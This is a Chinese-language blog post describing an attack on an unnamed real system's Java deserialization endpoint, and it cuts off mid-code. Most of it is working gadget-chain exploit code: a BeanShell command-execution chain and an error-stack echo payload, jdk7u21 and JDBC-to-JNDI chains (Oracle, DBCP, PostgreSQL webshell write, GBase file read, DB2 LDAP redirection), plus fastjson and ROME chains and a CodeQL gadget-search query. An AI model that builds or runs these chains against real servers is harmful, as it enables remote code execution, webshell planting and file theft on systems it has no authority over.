某个系统艰难的反序列化

365 篇文章 33 订阅
170 篇文章 6 订阅

1. 自定义反序列化

在它的某个页面中,发现了自定义反序列化,这个页面好就好在它会返回报错堆栈的序列化数据,方便debug。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

URLDNS探测结果如下。
cc31or321
ajw
JRE8u20
fastjson
windows
cb17
bsh20b4
DefiningClassLoader
Jdk7u21
看起来反序列化链很多,实际结果呢?用jdk7u21试一试,结果当然是失败了。我们可以解析序列化报错堆栈来看为什么失败。

赫然发现根本没有com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类。
回过头来看反序列化链,jdk7u21和jre8u20要TemplatesImpl,fastjson和cb17本质是调getter,基本也需要TemplatesImpl,那么剩下的就是cc31or321/ajw/bsh20b4。
继续探索后发现这三个类都被ban了,那么CC系和CB系就别想了。
org.apache.commons.collections.map.LazyMap
org.apache.commons.collections.map.TransformedMap
org.apache.commons.beanutils.BeanComparator

2. Bsh反序列化链

自此只剩下了bsh20b4链,这也是最终答案,但是依旧有坑点需要解决。

        `Interpreter interpreter = new Interpreter();`        `String cmd = "calc";`        `String func = "isWin = java.lang.System.getProperty(\"os.name\").toLowerCase().contains(\"win\");"`                `+ "compare(Object foo, Object bar) {"`                `+ "if(isWin){new java.lang.ProcessBuilder(new String[]{\"cmd.exe\",\"/c\",\""+cmd+"\"}).start();}"`                `+ "else{new java.lang.ProcessBuilder(new String[]{\"/bin/bash\",\"-c\",\""+cmd+"\"}).start();}"`                `+ "return new Integer(1);}";`        `interpreter.eval(func);`        `XThis xt = new XThis(interpreter.getNameSpace(), interpreter);`        `InvocationHandler handler = (InvocationHandler) getFieldValue(xt, "invocationHandler");`        `Comparator proxy = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(),new Class[]{Comparator.class}, handler);`        `final PriorityQueue pq = new PriorityQueue();`        `pq.add(1);`        `pq.add(2);`        `setFieldValue(pq, "comparator", proxy);`

得到的结果居然是

java.io.InvalidClassException: bsh.XThis; local class incompatible: stream classdesc serialVersionUID = -6803452281441498586, local class serialVersionUID = -5567781273343879209

尽管用的是同版本,依旧有serialVersionUID报错。首先我们得知道如何获取class的serialVersionUID,因为这玩意儿你直接反编译jar包,很多时候都看不到。

        `ObjectStreamClass osc1 = ObjectStreamClass.lookup(bsh.XThis.class);`        `System.out.println(osc1.getSerialVersionUID());`

其次就是怎么将本地上的serialVersionUID改成一样,有两种办法。
第一种是直接在引用jar包的同时,复制一个完全一样的类,并且自定义serialVersionUID属性。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

这样的话,第三方jar包的bsh.XThis类就会被覆盖掉。同理,这种办法也可以应用在你需要修改第三方jar包的情况下(比如iiop的nat问题)。但注意,如果是jdk自带类,是无法覆盖掉的,这个时候就需要用到第二种方法。

第二种,反射修改。
当然,由于serialVersionUID是final修饰,我们常用的setFieldValue是无法修改的。

    `public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {`        `Field field = obj.getClass().getDeclaredField(fieldName);`        `field.setAccessible(true);`        `field.set(obj, value);`    `}`

以下是实战中可能会碰上的修改TemplatesImpl的sUID。

        `TemplatesImpl obj = new TemplatesImpl();`        `        java.lang.reflect.Field sUID = obj.getClass().getDeclaredField("serialVersionUID");`        `sUID.setAccessible(true);`        `Field modifiersField = Field.class.getDeclaredField("modifiers");`        `modifiersField.setAccessible(true);`        `modifiersField.setInt(sUID, sUID.getModifiers() & ~Modifier.FINAL);`        `sUID.set(obj, -3070939614679977597L);`        `System.out.print(getFieldValue(obj, "serialVersionUID"));`

总而言之,当修改掉三处serialVersionUID之后,就能成功反序列化并执行命令了。此时由于无法用TemplatesImpl,只能用Bcel和DefineClass,再加上对方的环境不一定是tomcat,所以命令回显或者内存马并没有那么容易。但是这不是有序列化的堆栈回显吗?所以可以利用报错,轻松解析对方的返回包来达到命令回显的目的。考虑到对方jdk版本可能较低,bsh回显代码如下。

        `if (cmd.isEmpty()) {`             `cmd = "whoami";`        `}`        `ClassPool pool = ClassPool.getDefault();`        `CtClass clazz = pool.makeClass("foo");`        `CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);`        `constructor.setExceptionTypes(new CtClass[]{pool.get("java.lang.Exception")});`        `        constructor.setBody("{"`                `+ "        String cmd = \""+cmd+"\";\r\n"`                `+ "        String[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", cmd} : new String[]{\"/bin/sh\", \"-c\", cmd};\r\n"`                `+ "        Process process = Runtime.getRuntime().exec(cmds);\r\n"`                `+ "        java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();\r\n"`                `+ "        java.util.Scanner s = new java.util.Scanner(in).useDelimiter(\"\\\\a\");\r\n"`                `+ "        String output = s.hasNext() ? s.next() : \"\";\r\n"`                `+ "        output = \"@@@@@\\r\\n\"+output+\"\\r\\n@@@@@\";\r\n"`                `+ "        throw new Exception(output);"`                `+ "}");`        `        clazz.addConstructor(constructor);`        `clazz.getClassFile().setMajorVersion(50);//jdk1.6  52=jdk1.8`        `        byte[] bs = clazz.toBytecode();`        `String base64 = base64_encode(bs);`        `        Interpreter interpreter = new Interpreter();`        `String func =``                "compare(Object foo, Object bar) {"`                `+ "new org.mozilla.javascript.DefiningClassLoader().defineClass(\"foo\",new sun.misc.BASE64Decoder().decodeBuffer(\""+base64+"\")).newInstance();"`                `+ "return new Integer(1);"`                `+ "}";`

不过需要注意,这样反序列化返回包提取信息有着被反制的风险。

3. 升级jdk7u21

后来发现有的目标将bsh版本升高了,返回

bsh.XThis$Handler; class invalid for deserialization

也就是说bsh.XThis$Handler不再支持反序列化,因此后续可能需要结合其他getter来利用。由于发现目标用的低版本JDK,因此jdk7u21+getConnection就是一种可能的组合。
我之前的一篇文章《从CommonsBeanutils说开去》中使用了cb链+getConnection,在jdk7u21中也可以这样用,先回顾下jdk7u21的代码。

        `FileInputStream inputFromFile = new FileInputStream("D:\\Downloads\\workspace\\javareadobject\\bin\\test\\TemplatesImplcmd.class");`        `byte[] bs = new byte[inputFromFile.available()];`        `inputFromFile.read(bs);`        `TemplatesImpl tempImpl = new TemplatesImpl();`        `setFieldValue(tempImpl, "_bytecodes", new byte[][]{bs});`        `setFieldValue(tempImpl, "_name", "TemplatesImpl");`        `setFieldValue(tempImpl, "_tfactory", new TransformerFactoryImpl());``   `        `HashMap hm = new HashMap();`        `Constructor<?> ctor = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];`        `Permit.setAccessible(ctor);`        `InvocationHandler ih = (InvocationHandler)ctor.newInstance(new Object[] { Override.class, hm });`        `setFieldValue(ih, "type", Templates.class);`        `Templates TemplatesProxy = (Templates)Proxy.newProxyInstance(Templates.class.getClassLoader(), new Class[] {Templates.class}, ih);`        `        LinkedHashSet lhs = new LinkedHashSet();`        `lhs.add(tempImpl);`        `lhs.add(TemplatesProxy);`        `setFieldValue(tempImpl, "_auxClasses", null);`        `setFieldValue(tempImpl, "_class", null);`        `hm.put("0DE2FF10", tempImpl);`        `   `        `        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));`        `objectOutputStream.writeObject(lhs);`        `objectOutputStream.close();``   `        `ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));`        `objectInputStream.readObject();`

可以看的出来,jdk7u21本质上是往LinkedHashSet中放两个对象,一个是恶意类,一个是此类的接口的代理,然后通过反序列化链随机触发代理的一个方法。和CB链本质上执行任意getter一样,jdk7u21本质上就是执行接口的无参方法。如果有多个方法怎么办呢?测试下来发现会随机执行,如果运气比较差,有危害的方法不在第一个,就会直接抛错退出了。
如下图,Templates随机触发newTransformer和getOutputProperties,这两个都会RCE。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

用jdk7多次执行如下代码也可以快速发现排第一个的方法是哪个。

        `Class clazz = Class.forName("javax.sql.RowSet");`        `Method[] methods =  clazz.getMethods();``        System.out.println(methods[0]);``//        for (int i = 0; i < methods.length; i++) {``//            System.out.println(methods[0]);``//        }`

具体原理如下。
https://mp.weixin.qq.com/s/XrAD1Q09mJ-95OXI2KaS9Q
而javax.sql.DataSource这个接口正好有getConnection()以触发jdbc,所以只需要找个实现了DataSource和Serializable接口的类就行。
在数据库相关jar包中,很容易找到这种类,之前我找到的是com.mysql.cj.jdbc.MysqlDataSource和oracle.jdbc.datasource.impl.OracleDataSource,但在目标环境中都无法使用。一是它没有mysql依赖,二是它jdk版本较低,而这两个类的代码要求高版本jdk。
在Oracle中很容易找到替代类,可以造成SSRF。

        `OracleConnectionPoolDataSource ods = new OracleConnectionPoolDataSource();`        `ods.setURL("jdbc:oracle:thin:@//127.0.0.1:1521/orcl");`        `ods.setUser("system");`        `ods.setPassword("123456");`        `HashMap hm = new HashMap();`        `Constructor<?> ctor = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];`        `Permit.setAccessible(ctor);`        `InvocationHandler ih = (InvocationHandler)ctor.newInstance(new Object[] { Override.class, hm });`        `setFieldValue(ih, "type", DataSource.class);`        `DataSource TemplatesProxy = (DataSource)Proxy.newProxyInstance(DataSource.class.getClassLoader(), new Class[] {DataSource.class}, ih);`        `        LinkedHashSet lhs = new LinkedHashSet();`        `lhs.add(ods);`        `lhs.add(TemplatesProxy);`        `hm.put("0DE2FF10", ods);`

Oracle中还各有一个setter和一个getter可以造成jndi。

oracle.jdbc.rowset.OracleCachedRowSet obj = new OracleCachedRowSet();``obj.setDataSourceName("ldap://127.0.0.1:1389/exp");``obj.getConnection();``   ``oracle.jdbc.rowset.OracleJDBCRowSet obj2 = new OracleJDBCRowSet();``obj2.setDataSourceName("ldap://127.0.0.1:1389/exp");``obj2.setCommand("123");

后者曾在fastjson上使用过,前者可以本地环境测试成功,但实际用的时候会因为javax.sql.RowSetInternal接口方法太多,对方jdk环境第一个不是getConnection()导致报错。

        `OracleCachedRowSet obj = new OracleCachedRowSet();`        `obj.setDataSourceName("ldap://127.0.0.1:1389/exp");`        `//obj.getConnection();``   `        `        HashMap hm = new HashMap();`        `Constructor<?> ctor2 = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];`        `Permit.setAccessible(ctor2);`        `InvocationHandler ih = (InvocationHandler)ctor2.newInstance(new Object[] { Override.class, hm });`        `setFieldValue(ih, "type", RowSetInternal.class);`        `RowSetInternal odsProxy = (RowSetInternal)Proxy.newProxyInstance(RowSetInternal.class.getClassLoader(), new Class[] {RowSetInternal.class}, ih);`        `        LinkedHashSet lhs = new LinkedHashSet();`        `lhs.add(obj);`        `lhs.add(odsProxy);`        `hm.put("0DE2FF10", obj);`

4. 其他getConnection

仅SSRF显然是完全不够的,使用URLDNS继续探测jndi常用类,有如下结果。
org_apache_naming_factory_BeanFactory
org_postgresql_Driver
oracle_jdbc_driver_OracleDriver
org_yaml_snakeyaml_Yaml
com_thoughtworks_xstream_XStream
org_apache_catalina_users_MemoryUserDatabaseFactory
org_apache_commons_dbcp_BasicDataSourceFactory
org_apache_catalina_UserDatabase

其中postgresql可供我们jdbc攻击,而commons-dbcp则可能提供类似oracle.ucp.jdbc.PoolDataSourceImpl这种封装jdbc的类。
首先可以想到的是在fastjson不出网解决方案之一的org.apache.tomcat.dbcp.dbcp.BasicDataSource,不过很遗憾它没有实现Serializable。
继而我们可以发散思维,在jackson的黑名单中寻找方案。

        `s.add("org.apache.tomcat.dbcp.dbcp.cpdsadapter.DriverAdapterCPDS");`        `s.add("org.apache.tomcat.dbcp.dbcp.datasources.PerUserPoolDataSource");`        `s.add("org.apache.tomcat.dbcp.dbcp.datasources.SharedPoolDataSource");`

其中PerUserPoolDataSource和SharedPoolDataSource都是InstanceKeyDataSource的子类,它们可以实现jndi。

        `InstanceKeyDataSource dbs = new SharedPoolDataSource();`        `//dbs = new PerUserPoolDataSource();`        `dbs.setDataSourceName("ldap://127.0.0.1:1389/deser:cck2:Y2FsYw==");`        `//dbs.getConnection();`        `        HashMap hm = new HashMap();`        `Constructor<?> ctor = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];`        `Permit.setAccessible(ctor);`        `InvocationHandler ih = (InvocationHandler)ctor.newInstance(new Object[] { Override.class, hm });`        `setFieldValue(ih, "type", DataSource.class);`        `DataSource dbsProxy = (DataSource)Proxy.newProxyInstance(DataSource.class.getClassLoader(), new Class[] {DataSource.class}, ih);`        `        LinkedHashSet lhs = new LinkedHashSet();`        `lhs.add(dbs);`        `lhs.add(dbsProxy);`        `hm.put("0DE2FF10", dbs);`

同时也存在sUID和依赖问题,使用commons-dbcp-1.2.jar/ commons-pool-1.2.jar/ commons-collections-3.1.jar即可。
但遗憾的是,本地测试没问题,实际漏洞利用的时候会报空指针。可能是因为低版本JDK的原因,而oldDS.pool是新生成的,无法控制。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

于是将目光转向DriverAdapterCPDS,可以发现它实现javax.sql.ConnectionPoolDataSource,getPooledConnection()可以造成jdbc。

        `DriverAdapterCPDS dbs = new DriverAdapterCPDS();`        `dbs.setUrl("jdbc:postgresql://127.0.0.1:52791/test?loggerLevel=TRACE&loggerFile=shell.jsp");`        `dbs.setDriver("org.postgresql.Driver");`        `dbs.setUser("root");`        `dbs.setPassword("123456");`        `//dbs.getPooledConnection();`        `        HashMap hm = new HashMap();`        `Constructor<?> ctor = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];`        `Permit.setAccessible(ctor);`        `InvocationHandler ih = (InvocationHandler)ctor.newInstance(new Object[] { Override.class, hm });`        `setFieldValue(ih, "type", ConnectionPoolDataSource.class);`        `ConnectionPoolDataSource dbsProxy = (ConnectionPoolDataSource)Proxy.newProxyInstance(ConnectionPoolDataSource.class.getClassLoader(), new Class[] {ConnectionPoolDataSource.class}, ih);`        `LinkedHashSet lhs = new LinkedHashSet();`        `lhs.add(dbs);`        `lhs.add(dbsProxy);`        `hm.put("0DE2FF10", dbs);`

举一反三,还可以在postgresql中发现org.postgresql.ds.PGConnectionPoolDataSource,也实现了ConnectionPoolDataSource。

        `PGConnectionPoolDataSource ods = new PGConnectionPoolDataSource();`        `ods.setURL("jdbc:postgresql://127.0.0.1:52791/test?loggerLevel=TRACE&loggerFile=shell.jsp");`        `ods.setUser("root");`        `ods.setPassword("123456");`        `        HashMap hm = new HashMap();`        `Constructor<?> ctor = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];`        `Permit.setAccessible(ctor);`        `InvocationHandler ih = (InvocationHandler)ctor.newInstance(new Object[] { Override.class, hm });`        `setFieldValue(ih, "type", ConnectionPoolDataSource.class);`        `ConnectionPoolDataSource odsProxy = (ConnectionPoolDataSource)Proxy.newProxyInstance(ConnectionPoolDataSource.class.getClassLoader(), new Class[] {ConnectionPoolDataSource.class}, ih);`        `        LinkedHashSet lhs = new LinkedHashSet();`        `lhs.add(ods);`        `lhs.add(odsProxy);`        `hm.put("0DE2FF10", ods);`

postgresql存在两个jdbc漏洞,在目标环境上可以使用吗?答案是不行,对方使用的是低版本postgresql,并不存在那两个漏洞。

5. gbase jdbc

目标存在国产数据库(魔改mysql)gbase,用法和mysql几乎完全一样,虽然数据库无法用load data local infile语句,但客户端依旧存在文件读取漏洞。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

        `GBaseDataSource obj = new GBaseDataSource();`        `obj.setAllowLoadLocalInfile(true);`        `obj.setAllowUrlInLocalInfile(true);`        `obj.setMaxAllowedPacket(65536);`        `obj.setUser("root");`        `obj.setPassword("123456");`        `obj.setServerName("127.0.0.1");`        `obj.setPort(3307);`        `//obj.getConnection();`        `        HashMap hm = new HashMap();`        `Constructor<?> ctor = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];`        `Permit.setAccessible(ctor);`        `InvocationHandler ih = (InvocationHandler)ctor.newInstance(new Object[] { Override.class, hm });`        `setFieldValue(ih, "type", DataSource.class);`        `DataSource odsProxy = (DataSource)Proxy.newProxyInstance(DataSource.class.getClassLoader(), new Class[] {DataSource.class}, ih);`        `        LinkedHashSet lhs = new LinkedHashSet();`        `lhs.add(obj);`        `lhs.add(odsProxy);`        `hm.put("0DE2FF10", obj);`

6. db2 jdbc

可以看出来,辛辛苦苦找的链均因为各种意外无法RCE,于是在目标上又探测到了db2和mssql,其中db2是存在jdbc转jndi的。

        `Class.forName("com.ibm.db2.jcc.DB2Driver");`        `String DB_URL = "jdbc:db2://localhost:50000/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1389/qqq;";`        `Connection conn = DriverManager.getConnection(DB_URL);`

很容易在db2jcc.jar上找到符合条件的类也就是com.ibm.db2.jcc.DB2ConnectionPoolDataSource

        `DB2ConnectionPoolDataSource db2 = new DB2ConnectionPoolDataSource();`        `db2.setDriverType(4);`        `db2.setServerName("127.0.0.1");`        `db2.setLoginTimeout(10000);`        `db2.setPortNumber(5667);`        `db2.setUser("root");`        `db2.setPassword("123456");`        `db2.setDatabaseName("test");`        `db2.setClientRerouteServerListJNDIName("ldap://127.0.0.1:1389/qqq");`        `//db2.getPooledConnection();`        `        HashMap hm = new HashMap();`        `Constructor<?> ctor = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];`        `Permit.setAccessible(ctor);`        `InvocationHandler ih = (InvocationHandler)ctor.newInstance(new Object[] { Override.class, hm });`        `setFieldValue(ih, "type", ConnectionPoolDataSource.class);`        `ConnectionPoolDataSource DataSourceProxy = (ConnectionPoolDataSource)Proxy.newProxyInstance(ConnectionPoolDataSource.class.getClassLoader(), new Class[] {ConnectionPoolDataSource.class}, ih);`        `        LinkedHashSet lhs = new LinkedHashSet();`        `lhs.add(db2);`        `lhs.add(DataSourceProxy);`        `hm.put("0DE2FF10", db2);`

这条反序列化转jdbc转jndi注入链倒是很顺利,没出什么问题。

7. codeql

找链的过程中还歪到什么rmi/swing上去了,整个过程离不开codeql的帮助。简单写写大概就是这样的。

import java``   ``abstract class Sink extends Method{}``abstract class Source extends SerializableMethod{}``   ``class SerializableMethod extends Method {`    `SerializableMethod() {`        `this.getDeclaringType().getASupertype*() instanceof TypeSerializable`        `and not this.getDeclaringType().isAbstract() //不是接口或者抽象类`        `and this.getDeclaringType().getASupertype*().isAbstract()`        `and this.fromSource()`        `and this.isPublic()`        `and this.paramsString() = "()"`        `//and this.getDeclaringType().getASupertype*().hasQualifiedName("javax.sql", "DataSource")`    `}``   ``}``   ``class GetMethod extends Source {`    `GetMethod() {`        `(this.getName().matches("connect") and this.getDeclaringType().getASupertype*().getAMethod().getName().matches("connect"))`        `or``        (this.getName().matches("get%Connection") and this.getDeclaringType().getASupertype*().getAMethod().getName().matches("get%Connection"))`        `or`        `(this.getName().matches("run") and this.getDeclaringType().getASupertype*().getAMethod().getName().matches("run"))`        `or``        (this.getName().matches("execute") and this.getDeclaringType().getASupertype*().getAMethod().getName().matches("execute"))`    `}``}``   ``   ``from GetMethod source``select source,``source.getDeclaringType().getPackage().getName(),``source.getDeclaringType(),``source.getTotalNumberOfLines()

一些看起来能够造成危害实际上不行的方法。

bsh.util.AWTConsole.run() //java.io.PipedOutputStream无法序列化``javax.management.remote.rmi.RMIConnector.connect() //第一个方法不是它``oracle.jdbc.connector.OracleManagedConnectionFactory.getLogWriter() //第一个方法不是它``oracle.jdbc.rowset.OracleJDBCRowSet.execute() //第一个方法不是它``oracle.jdbc.pool.OraclePooledConnection.getConnection() //jdbc泄露用户名,但构造更加复杂,参考CVE-2021-2294``net.sourceforge.jtds.jdbcx.JtdsDataSource.getConnection()  //jdbc泄露主机名,可写文件但无法控制内容。

8. fastjson+jndi

这里的fastjson完全不能用吗?当然不是,虽然fastjson原生反序列化链通常也是拿来触发TemplatesImpl.getOutputProperties(),但显然其他getter也可以。比如被我们抛弃的InstanceKeyDataSource。

        `InstanceKeyDataSource obj = new SharedPoolDataSource();`        `//obj = new PerUserPoolDataSource();`        `obj.setDataSourceName("ldap://127.0.0.1:1389/exp");`        `        JSONArray jsonArray = new JSONArray();`        `jsonArray.add(obj);``   `        `BadAttributeValueExpException bd = new BadAttributeValueExpException(null);`        `setFieldValue(bd,"val",jsonArray);``   `        `HashMap hashMap = new HashMap();`        `hashMap.put(obj,bd);`

当然,我们更倾向于使用jdk原生getter而不是第三方jar包,原生getter中有一个非常出名的getter——com.sun.rowset.JdbcRowSetImpl#getDatabaseMetaData()。


但接到fastjson链中却不太好用,因为fastjson会轮询所有getter,在执行我们想要的那个getter之前,会触发其他getter导致进入checkState()校验导致报错中断。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

当然,也许可以捏造出符合条件的conn/ps/rs,但终究还是很麻烦。于是一个可以替代JdbcRowSetImpl的com.sun.jndi.ldap.LdapAttribute就能派上用场了。

        `Constructor<?> ctor = Class.forName("com.sun.jndi.ldap.LdapAttribute").getDeclaredConstructor(new Class<?>[]{String.class});`        `ctor.setAccessible(true);`        `Attribute obj = (Attribute) ctor.newInstance("id");`        `setFieldValue(obj, "baseCtxURL", "ldap://127.0.0.1:1389/");`        `setFieldValue(obj, "rdn", new CompositeName("exp"+"//b"));`        `obj.getAttributeDefinition();`

本地测试如下。

        `String url = "ldap://127.0.0.1:1389/deser:fastjson2:Y2FsYw==";`        `String ldap_url = url.substring(0,url.lastIndexOf("/"));`        `String rdn = url.substring(url.lastIndexOf("/")+1);`          `System.out.print(ldap_url+"\r\n");`          `System.out.print(rdn+"\r\n");`        `        Constructor<?> ctor = Class.forName("com.sun.jndi.ldap.LdapAttribute").getDeclaredConstructor(new Class<?>[]{String.class});`        `ctor.setAccessible(true);`        `Attribute obj = (Attribute) ctor.newInstance("id");`        `setFieldValue(obj, "baseCtxURL", ldap_url);`        `setFieldValue(obj, "rdn", new CompositeName(rdn+"//b"));`        `//obj.getAttributeDefinition();``   `       `        JSONArray jsonArray = new JSONArray();`        `jsonArray.add(obj);`        `BadAttributeValueExpException bd = new BadAttributeValueExpException(null);`        `setFieldValue(bd,"val",jsonArray);`        `HashMap hashMap = new HashMap();`        `hashMap.put(obj,bd);` 

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

不过遗憾的是BadAttributeValueExpException这个触发toString的核心类,在jdk1.7版本无法触发toString,因此fastjson和jackson的原生反序列化都只能用在jdk1.8或者以上版本。

有没有其他能够触发toString的办法呢?当然有,刚好有篇比较新的文章介绍了几个链。
https://xz.aliyun.com/t/12910
HotSwappableTargetSource & XString
依赖spring-aop.jar/spring-core.jar

        `String url = "ldap://127.0.0.1:1389/deser:cb18:Y2FsYw==";`        `String ldap_url = url.substring(0,url.lastIndexOf("/"));`        `String rdn = url.substring(url.lastIndexOf("/")+1);`        `System.out.print(ldap_url+"\r\n");`        `System.out.print(rdn+"\r\n");`        `        Constructor<?> ctor = Class.forName("com.sun.jndi.ldap.LdapAttribute").getDeclaredConstructor(new Class<?>[]{String.class});`        `ctor.setAccessible(true);`        `Attribute obj = (Attribute) ctor.newInstance("id");`        `setFieldValue(obj, "baseCtxURL", ldap_url);`        `setFieldValue(obj, "rdn", new CompositeName(rdn+"//b"));`        `//obj.getAttributeDefinition();`        `JSONObject jsonObject = new JSONObject();`        `jsonObject.put("g","m");`        `JSONObject jsonObject1 = new JSONObject();`        `jsonObject1.put("g",obj);``   `        `HotSwappableTargetSource v1 = new HotSwappableTargetSource(jsonObject);`        `HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("x"));``   `        `HashMap<Object,Object> hashMap = new HashMap<>();`        `String java_version = System.getProperty("java.version").substring(0,3);`        `double version = Double.parseDouble(java_version);`        `System.out.println(version);`        `        if (version < 1.8) {`            `hashMap.put(v2,v2);`            `hashMap.put(v1,v1);`        `} else  {`            `hashMap.put(v1,v1);`            `hashMap.put(v2,v2);`        `}`        `setFieldValue(v1,"target",jsonObject1);`        `        HashMap hashMap2 = new HashMap();`        `hashMap2.put(obj, hashMap);`

这条链有两个问题,一个是在jdk1.7时由于HashMap代码的变动,需要更改一下put顺序,另外一个就是它也存在和BadAttributeValueExpException一样的问题,fastjson版本过高就会经过checkAutoType导致报错。可以注意我最后用hashMap的处理。

9. ROME

https://xz.aliyun.com/t/12910
文章中还介绍了ROME链。
EqualsBean,依赖ROME<1.12.0

这条链如文章所述,有个反直觉的地方,JdbcRowSetImpl可以用,LdapAttribute用不了。LdapAttribute用不了的原因是LdapAttribute有个方法get(),会导致获取getter时报错——因为取不到getXX后面的XX。
而JdbcRowSetImpl可以用的原因是因为运气够好,恰好getDatabaseMetaData()前面的getter都不会报错(不是100%)。
详情可以断点com.sun.syndication.feed.impl.BeanIntrospector.getPDs()查看。
原文中给出的ROME链是这样的。

        `ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));`        `EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);`        `Object templatesimpl = null;``   `        `HashMap<Object,Object> hashMap = new HashMap<>();`        `hashMap.put(equalsBean,"123");``   `        `Field field = toStringBean.getClass().getDeclaredField("obj"); // 低版本(如1.0)此属性名为 _obj`        `field.setAccessible(true);`        `field.set(toStringBean,templatesimpl);`

先要把Templates 改成JdbcRowSetImpl。
new ConstantTransformer(1)看起来依赖CC链,实际上不是必须的。这里只是为了实例化时不报错,后面会反射成Templatesimpl。顺便做obj/_obj的兼容性处理。

        `JdbcRowSetImpl obj = new JdbcRowSetImpl();`        `JdbcRowSetImpl obj2 = new JdbcRowSetImpl();`        `obj.setDataSourceName("ldap://127.0.0.1:1389/exp");``   `        `Object toStringBean = new ToStringBean(JdbcRowSetImpl.class,obj2);`        `EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);``   `        `HashMap<Object,Object> hashMap = new HashMap<>();`        `hashMap.put(equalsBean,"1");`        `        try {`            `setFieldValue(toStringBean, "obj", obj);`        `} catch (Exception e) {`            `setFieldValue(toStringBean, "_obj", obj);`        `}`

由于ROME高版本和低版本包名不同,因此做反射处理。

        `JdbcRowSetImpl obj = new JdbcRowSetImpl();`        `JdbcRowSetImpl obj2 = new JdbcRowSetImpl();`        `obj.setDataSourceName("ldap://127.0.0.1:1389/exp");``   `        `Class clazzToStringBean;`        `Class clazzEqualsBean;`        `try {`            `clazzToStringBean = Class.forName("com.rometools.rome.feed.impl.ToStringBean");`        `} catch (Exception e) {`            `clazzToStringBean = Class.forName("com.sun.syndication.feed.impl.ToStringBean");`        `}`        `try {`            `clazzEqualsBean = Class.forName("com.rometools.rome.feed.impl.EqualsBean");`        `} catch (Exception e) {`            `clazzEqualsBean = Class.forName("com.sun.syndication.feed.impl.EqualsBean");`        `}`        `Object toStringBean = clazzToStringBean.getDeclaredConstructor(new Class<?>[]{Class.class,Object.class}).newInstance(JdbcRowSetImpl.class,obj2);`        `Object equalsBean = clazzEqualsBean.getDeclaredConstructor(new Class<?>[]{Class.class,Object.class}).newInstance(clazzToStringBean,toStringBean);`        `        //Object toStringBean = new ToStringBean(JdbcRowSetImpl.class,obj2);`        `//EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);``   `        `HashMap<Object,Object> hashMap = new HashMap<>();`        `hashMap.put(equalsBean,"1");`        `        try {`            `setFieldValue(toStringBean, "obj", obj);`        `} catch (Exception e) {`            `setFieldValue(toStringBean, "_obj", obj);`        `}`

这样已经可以本地测试成功了,但在 HashMap.put()时会有报错,尽管不影响执行。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

在jdk1.7中是因为put时会触发toString,而toString会报错。如果将ToStringBean(JdbcRowSetImpl.class,obj2)中的obj2换成obj,就会提前触发jndi。正是靠这个原理,才能用readObject触发put触发toString。
想要不出现这个报错,绕过put()内的hash()即可,然后做jdk1.8和jdk1.7的兼容性处理。

        `JdbcRowSetImpl obj = new JdbcRowSetImpl();`        `JdbcRowSetImpl obj2 = new JdbcRowSetImpl();`        `obj.setDataSourceName("ldap://127.0.0.1:1389/exp");``   `        `Class clazzToStringBean;`        `Class clazzEqualsBean;`        `try {`            `clazzToStringBean = Class.forName("com.rometools.rome.feed.impl.ToStringBean");`        `} catch (Exception e) {`            `clazzToStringBean = Class.forName("com.sun.syndication.feed.impl.ToStringBean");`        `}`        `try {`            `clazzEqualsBean = Class.forName("com.rometools.rome.feed.impl.EqualsBean");`        `} catch (Exception e) {`            `clazzEqualsBean = Class.forName("com.sun.syndication.feed.impl.EqualsBean");`        `}`        `Object toStringBean = clazzToStringBean.getDeclaredConstructor(new Class<?>[]{Class.class,Object.class}).newInstance(JdbcRowSetImpl.class,obj2);`        `Object equalsBean = clazzEqualsBean.getDeclaredConstructor(new Class<?>[]{Class.class,Object.class}).newInstance(clazzToStringBean,toStringBean);`        `        //Object toStringBean = new ToStringBean(JdbcRowSetImpl.class,obj2);`        `//EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);``   `        `HashMap<Object,Object> hashMap = new HashMap<>();`        `try {`            `setFieldValue(hashMap, "modCount", 1);`            `Method addEntry = HashMap.class.getDeclaredMethod("addEntry", new Class[]{int.class,Object.class,Object.class,int.class});`            `addEntry.setAccessible(true);`            `addEntry.invoke(hashMap, new Object[]{-2122412728,equalsBean,"123",8});`        `} catch (Exception e) {`            `try {`                `Method putVal = HashMap.class.getDeclaredMethod("putVal", new Class[]{int.class,Object.class,Object.class,boolean.class,boolean.class});`                `putVal.setAccessible(true);`                `putVal.invoke(hashMap, new 